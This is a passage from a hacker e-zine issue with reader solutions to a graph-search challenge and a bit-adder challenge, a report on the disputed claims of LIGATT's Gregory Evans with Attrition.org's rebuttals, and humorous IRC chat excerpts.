shoot us an email. -------------------------------------------------------------------------------- Last issue, we asked readers to compare the depth-first search and breadth-first search routing algorithms against a given graph. Graph Solution by melte Language: Perl -------------------- #!/usr/bin/perl use strict; use warnings; my $obj = { points => build_tree(<DATA>) }; # Uncomment for examples given in the article =pod for ('C', 'D', 'E') { my $end = breadth_first($obj, 'A', $_); my $mid = depth_first($obj, 'A', $_); print "A -> $_ : DF=$mid BF=$end\n"; } exit; =cut for my $first (sort { $a cmp $b } keys %{$obj->{points}}) { for my $second (sort { $a cmp $b } keys %{$obj->{points}}) { my $df = depth_first($obj, $first, $second); my $bf = breadth_first($obj, $first, $second); my $message = ($df != -1 && $df < $bf) ? "Depth-First" : ($df > $bf && $bf != -1) ? "Breadth-First" : "Tie"; print "$first -> $second : DF=$df, BF=$bf : $message\n"; } } # The data structure I'm using is a hashref with letters as keys, # and an arrayref (as the value) listing its neighbours sub build_tree { my (@input) = @_; my $vertex = {}; # Not strictly necessary but this + the check below is good for catching typos while ($input[0] =~ /(\w+)[,}]/g) { $vertex->{$1} = []; } while ($input[1] =~ /\{(\w+)\,(\w+)\}/g) { defined $vertex->{$1} and defined $vertex->{$2} or die "Malformed point [$1,$2]"; push @{$vertex->{$1}}, $2; push @{$vertex->{$2}}, $1; } $vertex; } # Setup the structure and enter recursion sub depth_first { my ($obj, $start, $end ) = @_; $obj = { checked => [], points => $obj->{points} }; $start eq $end and return 0; _depth_first($obj, $start, $end); } # Check all trees from a starting point sub _depth_first { my ($obj, $start, $end) = @_; defined $obj->{checked} or $obj->{checked} = []; push @{$obj->{checked}}, $start; for my $neighbour (sort { $a cmp $b } @{$obj->{points}{$start}}) { # We can exclude previously checked items grep { $_ eq $neighbour } @{$obj->{checked}} and next; push @{$obj->{checked}}, $neighbour; $neighbour eq $end and return 1; my $counter = _depth_first($obj, $neighbour, $end); $counter != -1 and return $counter + 1; } return -1; } # Surely there is a pretty and short recursive way to do this sub breadth_first { my ($obj, $start, $end) = @_; $start eq $end and return 0; my $tree = $obj->{points}{$start}; my $level = 0; @$tree = sort { $a cmp $b } @$tree; while (1) { ++$level; # This problem could exist with a discontinuous graph as input @$tree or return -1; grep { $_ eq $end } @$tree and return $level; # We don't want to add items and then sort # We want to add sorted lists to preserve correct ordering my $temp = []; for my $item ( sort { $a cmp $b } @$tree ) { # Exclude the parent node in this context push @$temp, grep { $_ ne $item } @{$obj->{points}{$item}}; } $tree = $temp; } } # Uncomment for smaller graph from article =pod __DATA__ V = {A,B,C,D,E} E = {{A,B},{A,C},{B,C},{B,D},{B,E},{C,D},{D,E}} __END__ =cut __DATA__ V = {A,B,C,D,E,F,G,H} E = {{A,B},{A,D},{A,F},{B,G},{B,H},{C,D},{C,E},{D,E},{D,F},{F,G},{G,H}} -------------------- $ perl graph.pl A -> A : DF=0, BF=0 : Tie A -> B : DF=1, BF=1 : Tie A -> C : DF=5, BF=2 : Breadth-First A -> D : DF=4, BF=1 : Breadth-First A -> E : DF=6, BF=2 : Breadth-First A -> F : DF=3, BF=1 : Breadth-First A -> G : DF=2, BF=2 : Tie A -> H : DF=3, BF=2 : Breadth-First B -> A : DF=1, BF=1 : Tie B -> B : DF=0, BF=0 : Tie B -> C : DF=3, BF=3 : Tie B -> D : DF=2, BF=2 : Tie B -> E : DF=4, BF=3 : Breadth-First B -> F : DF=3, BF=2 : Breadth-First B -> G : DF=4, BF=1 : Breadth-First B -> H : DF=5, BF=1 : Breadth-First C -> A : DF=2, BF=2 : Tie C -> B : DF=3, BF=3 : Tie C -> C : DF=0, BF=0 : Tie C -> D : DF=1, BF=1 : Tie C -> E : DF=2, BF=1 : Breadth-First C -> F : DF=5, BF=2 : Breadth-First C -> G : DF=4, BF=3 : Breadth-First C -> H : DF=5, BF=4 : Breadth-First D -> A : DF=1, BF=1 : Tie D -> B : DF=2, BF=2 : Tie D -> C : DF=1, BF=1 : Tie D -> D : DF=0, BF=0 : Tie D -> E : DF=2, BF=1 : Breadth-First D -> F : DF=4, BF=1 : Breadth-First D -> G : DF=3, BF=2 : Breadth-First D -> H : DF=4, BF=3 : Breadth-First E -> A : DF=3, BF=2 : Breadth-First E -> B : DF=4, BF=3 : Breadth-First E -> C : DF=1, BF=1 : Tie E -> D : DF=2, BF=1 : Breadth-First E -> E : DF=0, BF=0 : Tie E -> F : DF=6, BF=2 : Breadth-First E -> G : DF=5, BF=3 : Breadth-First E -> H : DF=6, BF=4 : Breadth-First F -> A : DF=1, BF=1 : Tie F -> B : DF=2, BF=2 : Tie F -> C : DF=3, BF=2 : Breadth-First F -> D : DF=2, BF=1 : Breadth-First F -> E : DF=4, BF=2 : Breadth-First F -> F : DF=0, BF=0 : Tie F -> G : DF=3, BF=1 : Breadth-First F -> H : DF=4, BF=2 : Breadth-First G -> A : DF=2, BF=2 : Tie G -> B : DF=1, BF=1 : Tie G -> C : DF=4, BF=3 : Breadth-First G -> D : DF=3, BF=2 : Breadth-First G -> E : DF=5, BF=3 : Breadth-First G -> F : DF=4, BF=1 : Breadth-First G -> G : DF=0, BF=0 : Tie G -> H : DF=2, BF=1 : Breadth-First H -> A : DF=2, BF=2 : Tie H -> B : DF=1, BF=1 : Tie H -> C : DF=4, BF=4 : Tie H -> D : DF=3, BF=3 : Tie H -> E : DF=5, BF=4 : Breadth-First H -> F : DF=4, BF=2 : Breadth-First H -> G : DF=5, BF=1 : Breadth-First H -> H : DF=0, BF=0 : Tie By running this script, we can clearly see from the output that breadth-first search is the winning algorithm out of the two. However, this is not always the case. Some graphs will be better traversed by means of depth-first search, while others will not. A judgment call must be made depending on the specific scenario. For instance, massive graphs with a target that is many hops away from the origin point will more likely be searched by depth-first search simply due to resource limitations. Breadth-first search of a massive graph requires many layers upon layers of recursion. An entire "tree" must be stored in memory, which will quickly run low as the tree grows, causing swapping to occur or the system to crash when the available RAM hits zero. With depth-first search, only a single "branch" of recursion is stored in memory, requiring much less space. -------------------- Additionally, as an amendment to issue #3, we missed a solution submitted by Suzaku for the challenge of writing any one of a number of bit adders. Ripple-Carry Adder by Suzaku Language: Java -------------------- import java.util.Scanner; class adder{ public static void main(String args[]){ int bitS[],obA[],obB[],i,cin=0,cout=0; String bitA,bitB; char a,b; Scanner input=new Scanner(System.in); obA=new int[100]; obB=new int[100]; bitS=new int[100]; System.out.println("Enter the bit pattern A"); bitA=new StringBuffer(input.next()).reverse().toString(); System.out.println("Enter the bit pattern B"); bitB=new StringBuffer(input.next()).reverse().toString(); if(bitA.length()==bitB.length()){ System.out.print("Sum = "); for(i=0; i<bitA.length(); i++){ obA[i]=Integer.parseInt(new Character(bitA.charAt(i)).toString()); obB[i]=Integer.parseInt(new Character(bitB.charAt(i)).toString()); bitS[i]=obA[i]^obB[i]^cin; cout=(obA[i]*obB[i])+cin*(obA[i]^obB[i]); cin=cout; } for(; i>0; i--) System.out.print(bitS[i-1]); System.out.print("\nCarry = "+cout); } else System.out.print("Length of A and B should be same"); } } [==================================================================================================] -=[ 0x0d The Scoop on LIGATT LIGATT Security International (more commonly known as just LIGATT) is a security company founded and run by the (in)famous Gregory D. Evans. Evans is mainly known for his claim of being the "world's number 1 hacker" and his ability to teach anyone to be the same in 15 minutes through one of his company's educational courses. Much controversy surrounds Evans and his company with allegations of severe debt, shady marketing schemes, and and overall lack of security knowledge necessary to provide consulting services of any capacity. Attrition.org claims that Evans is currently in debt of over $9,000,000 USD, and the Better Business Bereau currently lists LIGATT as an 'F' rating. Evans denies all counts of misdoing and considers himself a wealthy, successful businessman. In mid-January, Go Null Yourself Zine contacted LIGATT to request an interview with Evans. After a few days of conversation with Evans' PR assistant, the interview request was accepted. The interview spanned across two days (due to phone difficulties) and about 2 hours and 10 minutes of conversation was recorded. A detailed look at Evans' past was provided, and many shots were taken at the people and organizations calling him a fraud. There are simply too many details from the interview to enumerate here, so we have instead made the recordings public at http://www.gonullyourself.org/zine/4/ligatt for those who are interested. After the interview, we contacted Attrition.org to get their take on everything told to us by Evans. We provided a list of key claims made by Evans, and this is their reply: All of this is the best of my memory, or with citation if I have it. : Evans lived in Germany in his youth and got in trouble for changing a : friend's grades. The father of this friend, who was a lawyer, hired : Evans (as a kid) to break into the computers of a competing law firm. I think this is partially new. The 'changing grades' claim has been made before, but not with additional details above. : In 1994, Evans operated the 4th or 5th largest ISP in the country named : Connect America financed by money made from hacking side-jobs. (I am : unsure if he meant in America or Germany) In the US, in California. Claims of the size are unverified, and I doubt they can be. The part about making money from hacking side-jobs is likely BS. During this time with Connect America, he was stealing phone lines and reselling them. This is basic toll fraud, and what lead him to getting busted and serving 2 years in prison. http://attrition.org/errata/charlatan/gregory_evans/ligatt15/1998-MCIvEvans-Connect_America.pdf : Evans was friends with Kevin Mitnick in California, and they learned : about computers and phreaking together. This is a lie. Kevin Mitnick confirmed that while they were on the same floor of the LA detention center, they did not share a cell (as previously claimed by Evans), did not share any hacking / phreaking information, and did not learn from each other. Mitnick described Evans as someone who didn't seem to know much about hacking and asked basic questions. You can confirm this with a mail to Mitnick, and some of it covered here: http://attrition.org/errata/charlatan/gregory_evans/evans09.html http://twitter.com/kevinmitnick/statuses/16428972158 http://twitter.com/kevinmitnick/statuses/16429370781 : Evans has 100 employees and has hired people in Pakistan and India. This is hard to positively debunk, but I am relatively sure he does not have 100 employees currently. He has likely had 100 historically, but has a very high turnover rate. His claims of consultants in other countries make this basically impossible to verify, especially since he has not published financials for 2010 as required by the SEC. : The term "number 1 hacker" came from Mr. Morris, the FBI agent that : arrested Evans, who described Evans as on the "top 10 list of number 1 : hackers." This is a new claim (re: Morris), but based on my experience with the FBI seems absurd. Evans was convicted of toll fraud, not really 'hacking'. At that time, the FBI had seen some pretty high end / impressive hacking, and what Evans was doing didn't come close. : Evans owned nightclubs, restaurants, apartment complexes, Bentleys, and : a $4 million house. None of this can be verified so far, and we've tried. Given the apartments he has lived in for the last 2 years, as verified by ex employees, it is unlikely he has had any significant money to do this. Based on court records we have published, he likely has never actually had 1 million dollars, just serious debt, including the ~ 10 million he still owes. Even now, he owes serious money not only for the previous crimes, but as a result of his business dealings the last few years. We have some of the records: http://attrition.org/errata/charlatan/gregory_evans/ligatt15/ A summary of his debt: http://attrition.org/errata/charlatan/gregory_evans/evans21.html : Evans's book "Laptop Security" sold 150,000 copies. We have not heard this claim. However, search Amazon for that title and look how many are available new/used, and it is likely false. It's curious he is focusing on that book, as all of his previous claims centered around the 'No 1 Hacker' book. : The material found online in Evans's "No. 1 Hacker" book was not : copyrighted and therefore was not legally forbidden to use. This is patently false. The material he found online *was* copyrighted, even if the work did not explicitly say it was. This is copyright 101. There is currently a group of the authors that are still considering taking action against him. I have personally read mails from half a dozen of these authors that confirm they hold the copyright, and that they did NOT give him permsission or sell it to him (as he claimed in other sources). A mail to Simple Nomad of NMRC will confirm this as one of the authors (who will reply and confirm, while others will not due to potential legal action). : Evans was contracted to set up a CCTV camera network at a county prison : while on probation. Never heard this claim, but given how prisons work (and two direct family members that worked in that system), this is very dubious. : Evans has committed "every type of high-tech crime you can ever think of : before [he] was 26-years-old." Again, his conviction was for basic toll fraud. This doesn't suggest any level of skill that would back this claim. : In 1998, Evans was interrogated by the authorities regarding a : system-wide crash of the SkyTel pager network. No way to verify this short of a FOIA request for that case. I have not heard this claim before. : Every time Evans was caught by the authorities, it was because someone : else snitched on him. The current court records do not suggest this. They do suggest that Evans was a snitch (see Mitnick's presentation last year about the topic). We have the docket for his big case online, and there is no mention of a snitch. http://attrition.org/errata/charlatan/gregory_evans/ligatt15/1998-MCIvEvans-Connect_America.pdf http://attrition.org/errata/charlatan/gregory_evans/ligatt07/ : "High-tech grand theft" is a new state crime that was formed : specifically because of Evans's actions. There is no state law that uses those words I bet =) Did he mean Georgia? How 'new'? This would be easy to verify unless he further spins the claim. : There are plenty more points, but there's just too much stuff to listen : to. It's not too bad of a list, anyways. As usual, and it isn't just Evans, these types of claims are almost always made without any real detail, no verification from HIM, etc. Unfortunately, a lot of these are new claims or have new elements we haven't seen. : I have also attached an email that Evans forwarded to me that may be of : interest to you. Thank you again for your time, and I look forward to : your response to these claims. Yep, np! If you want to run any other claims by me, feel free. I will be offline for about 24 hours starting Thursday as I fly back to the states. As for the e-mail, I have read it before actually via Don. It was not published on attrition.org because it is irrelevant to Evans' claims. Because he offered to buy a web site, doesn't mean any deal was made regarding publishing material written by Don. It does not speak to any agreement, purchase or transfer of copyright of text included in Evans book. So yes, it wasn't included on our site =) As always, showing one thing that is marginally related to a piece of another story isn't proof, but it is an essential tool in a con. - jericho The attached email mentioned above can be read here. Evans forwarded this to us after the interview: Sorry we got disconnected. Here is proof that I sent Donald an email asking to buy his website 6 months before hand. Proving that there was no malicious intent. This is the stuff that they did not put on Attrition.org. Also if you want to finish up just let me no. Begin forwarded message: > From: "EH-Net-Don" <don@ethicalhacker.net> > Date: December 17, 2009 12:15:13 PM EST > To: "'Gregory Evans'" <gregoryevans@ligatt.com> > Subject: [SPAM] RE: Purchase of Ethical Hacker Network > Reply-To: <don@ethicalhacker.net> > > Hey Gregory, > > Thank you very much for your kind words. It’s never a bad thing to have your blood, sweat and > tears get recognized in a positive way. Although I’m not sure selling is my desire at the > moment, I’m always willing to talk business and make new friends in the industry. Either way, > you might be interested in getting the word out about your company and its products and > services to a wider ethical hacking community. Maybe we could also chat about advertising on > my site and/or supporting my ethical hacking conference, ChicagoCon. How’s that for a reverse > pitch? ;-) > > If you don’t mind me asking, how did you find out about us? > > Looking forward, > Don > > PS – There’s a typo in you LA address. Guess I can’t stop being an editor. J > Donald C. Donzal, CISSP, MCSE 2003, CEH, Security+ SME > The Digital Construction Company > 1520 Heidorn Ave. > Westchester, IL 60154 > 708.837.3002 (Cell) > Founder & Organizer > ChicagoCon > Editor-In-Chief > The Ethical Hacker Network > > > > From: Gregory Evans [mailto:gregoryevans@ligatt.com] > Sent: Wednesday, December 16, 2009 11:38 PM > To: don@ethicalhacker.net > Subject: Purchase of Ethical Hacker Network > > Hello Donzal, > > My name is Gregory Evans the CEO of LIGATT Security International (www.ligatt.com). I am very > impressed with your website Ethical Hacker Network. I would love to speak to you sometime > about purchasing the website and still having you run the site. If you are interested please > feel to contact me at 866-354-4288 Ext. 5673. > > Have a Blessed Day, > > Gregory Evans > President / CEO > > 866-354-4288 Ext. 5673 > > Atlanta: > 6050 Peachtree Parkway > Suite 200 > Norcross, Ga 30092 > > Los Angeles: > 11209 Naitonal Blvd. > Suite 178 > Los Angeles, Ca 90292 > Have a Blessed Day, Gregory Evans President / CEO Ring: 866-354-4288 Ext. 5673 Look: www.LIGATT.COM Follow: www.twitter.com/ligatt Post: www.facebook.com/GregoryDEvans Atlanta 6050 Peachtree Parkway Suite 200 Norcross, Ga 30092 As if there wasn't enough drama already, on February 2, a message was broadcasted to the Full- Disclosure mailing list detailing the compromise of Evans' websites and email accounts, leaking hordes of personal and confidential information. We, personally, have taken little time to look through the leak and aren't able to better confirm or deny any claims made by Evans. There is most likely much to learn, though, according to Jericho: : Thank you very much for providing insight on these claims. Would it be : okay to publish this email in the zine? I think it would be interesting : to place this side-by-side with the interview. Yep, feel free. Also note, that with recent events (Evans' entire mail spool being leaked / published), some of these claims may be more thoroughly debunked in the coming weeks. As an example, his mail spool shows that he did register thecyberwars.com despite repeated claims he had nothing to do with it. : > : Evans owned nightclubs, restaurants, apartment complexes, Bentleys, and : > : a $4 million house. : > : > None of this can be verified so far, and we've tried. Given the apartments : > he has lived in for the last 2 years, as verified by ex employees, it is A recent mail leaked from his spool shows that he could not even rent an apartment under his mom's name after they performed due diligence. When confronted with it, Evans libels attrition: http://pastebin.com/J4JeG2W8 : > A summary of his debt: : > : > http://attrition.org/errata/charlatan/gregory_evans/evans21.html Updated with another entry since this mail. Also, : Additionally, I found these the other day; you may also find them wildly : amusing: : : http://www.theregister.co.uk/2011/01/31/ligatt_security_subpoena_quashed/ Already posted on the charlatan page. : http://www.escapistmagazine.com/news/view/107413-Computer-Hackers-Getting-Their-Own-Reality-Show He claims his life story was bought for a movie, that never materialized. As I tweeted the other day: Hey @GregoryDEvans or @LIGATT .. any comment on why the last movie deal went nowhere? http://in.sys-con.com/node/927014 If he did get a reality show, why doesn't he name the network / company that bought it? And, : ?I have to be modest and say that we at LIGATT could not have been able : to do this without the help of Chris John Riley, Kris French, Sam Bowne, : Elizabeth Summers, Atrrion.org, Crabbybastard.com and all the other : people who kept our name relevant. What sealed the deal for us and got : the networks to say, ?lets do it? was ?LIGATTleaks?. Again, I have shown : that what people may say about you or try to do to you does not stand in : the way of my success. Success it the best revenge,? says Evans. : : Thought that was funny. Yep, that is his new strategy for the last few weeks, he said the same thing in one of his recent video blogs as well. -=-=- If you would like to weigh in on the interview, the LIGATT controversy, or anything related to LIGATT, Gregory D. Evans, or the leak, our contact information is in the introduction - we will publish intelligent arguments and opinions (both for and against) in the next issue. [==================================================================================================] -=[ 0x0e Et Cetera, Etc. -=[ Author: teh crew In the absence of any real miscellaneous content, why not take a look at some of the shenanigans that go on in the good 'ol #gny. We're competent! We promise! ---------------------------------------------------------------------------------------------------- [16:22] <GNY'oliverjhudson93> It is expected on February 3rd, 2011, that there will be a formal announcement in the US that IPv4 addresses have been completely exhausted [16:23] <GNY'connection> yes [16:23] <GNY'connection> but they finished today [16:23] <GNY'oliverjhudson93> who got the last one? [16:23] <GNY'connection> fucked if i know [16:23] <GNY'oliverjhudson93> was it 999.999.999.999 [16:23] <GNY'connection> but I would sell it [16:23] <GNY'connection> oliverjhudson93, I hope you are trolling [16:23] <GNY'connection> cause otherwise [16:23] <GNY'connection> that was the most retarded thing [16:23] <GNY'connection> I have ever heard [16:23] <GNY'oliverjhudson93> nah i'm pulling your leg :P [16:23] <GNY'connection> good [16:23] <GNY'oliverjhudson93> (im joking) [16:24] <Silks> cough liar [16:24] <GNY'connection> you are joking about lying? [16:24] <GNY'oliverjhudson93> i'm joking about joking? [16:24] <GNY'oliverjhudson93> I don't know anymore [16:24] <GNY'oliverjhudson93> I'm gonna DDoS 127.0.0.1 D: [16:25] <GNY'connection> oliverjhudson93, what is the highest IP someone could have? [16:25] <GNY'connection> not even taking into account the limits set in place for broadcasts blah blah blah [16:25] <GNY'connection> straight up, highest IP address [16:25] <GNY'oliverjhudson93> 255 [16:26] <GNY'oliverjhudson93> I don't actually know [16:26] <GNY'oliverjhudson93> but i figure [16:26] <GNY'oliverjhudson93> 255.255.255.255? [16:26] <GNY'oliverjhudson93> but thats like [16:26] <GNY'oliverjhudson93> subnet mask or some shit that I don't understand [16:26] <GNY'connection> technically it's 256.256.256.256 [16:26] <GNY'connection> but as we have limits imposed [16:26] <GNY'connection> yes [16:26] <GNY'connection> 255.255.255.255 [16:26] <GNY'oliverjhudson93> See I dun goof'd! [16:27] <Silks> urr no [16:27] <Silks> it is 0-255 [16:27] <GNY'connection> yea I fubar'd [16:27] <Silks> because that is the range of values you can store in an 8bit number [16:27] <GNY'connection> you don't know [16:27] <GNY'connection> how hard [16:27] <GNY'connection> I headdesked [16:27] <GNY'connection> after I typed that [16:27] <GNY'oliverjhudson93> :P [16:27] <Silks> I am embarrassed for you [16:27] <GNY'connection> and was hoping no one would catch it A shitty situation ---------------------------------------------------------------------------------------------------- [21:58] <&elchupathingy> storm would you be pissed if i took a shit on your porch? [22:05] <~Silks> what if I were to? [22:06] <&storm> i would be curious to see that since i don't have a porch [22:06] <~Silks> what do you have that I could shit on? [22:07] <&storm> the dorm building has a stoop, i guess [22:07] <&storm> well, not really actually [22:08] <~Silks> what about siblings? [22:08] <~Silks> do you have a sister? [22:08] <&storm> i'm an only child [22:08] <&storm> :( [22:08] <~Silks> ditto [22:08] <~Silks> however that means you have a lot of stuff [22:08] <~Silks> and therefore a lot of things to be fouled [22:09] <&storm> this is very true [22:10] <&elchupathingy> what if [22:10] <&elchupathingy> we built a porch [22:10] <&elchupathingy> then shit on it [22:10] <&storm> i like your thinking GTFO emo storm ---------------------------------------------------------------------------------------------------- [01:12] <storm> sometimes i message myself to check if i'm still connected [01:13] <elchupathingy> that sounds depressing as hell We could go on, but that would only embarrass us more. And everyone knows the first rule to being a sooper l33t h4xx0r klan is to only portray yourselves as FUCKING HARDCORE MOTHERFUCKERS. Yeah, whatever. So, yeah. Looks like the end of issue #4 - hope you liked it. Like always, if you'd like to submit content for future issues, our contact information is in the introduction. The call for papers for issue #5 is now open, so get your crap in. See you in the summer. <3, the gny crew irc.gonullyourself.org +6697 #gny [==================================================================================================]